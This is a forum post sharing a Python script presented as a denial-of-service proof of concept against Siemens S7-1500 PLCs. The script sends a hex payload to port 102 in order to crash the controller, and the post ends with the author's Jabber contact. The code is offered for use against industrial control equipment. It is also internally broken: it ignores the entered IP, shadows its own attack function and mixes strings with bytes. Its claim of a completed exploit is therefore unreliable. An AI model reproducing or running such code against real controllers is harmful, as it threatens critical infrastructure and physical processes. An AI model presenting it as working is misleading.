12-28-2023, 05:36 PM
Hello Everyone! today i want share my proof of concept of siemens s7-1500 DoS vulnerability.
I hope you like it!
I hope you like it!
## Title: Siemens s7-1500 poC
## This piece of code is a proof of concept for the Siemens s7-1500 PLC.
## It will crash the PLC and make it unresponsive.
## author: g0d
import socket
import sys
target = input("Enter the IP address of the PLC: ")
print("The PLC IP address is: ", target)
port = input("Enter the port number of the PLC: ")
print("The PLC port number is: ", port)
## crafted payload we will use
payload = "\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x00\x00\x01\x00\xc1\x02\x01\x00\xc2\x02\x01\x02"
## Now we connect to the plc in order to send the payload
## we will use port 102 for this
def connection(payload):
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((sys.argv[1], 102))
connection.send(payload)
connection.close()
## this function perfoms a DoS attack on the PLC using the crafted payload
def dos(payload, target, port):
while True:
connection(payload)
print("Sending payload to the PLC: ", target, "on port: ", port)
## crafted payload we will use
dos = "\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x00\x00\x01\x00\xc1\x02\x01\x00\xc2\x02\x01\x02"
connection(dos)
print("Sending payload to the PLC: ", target, "on port: ", port)
print('Exploit completed! ( :')
My telegram got banned! contact me via PM
xmpp (Jabber): 303@thesecure.biz
xmpp (Jabber): 303@thesecure.biz
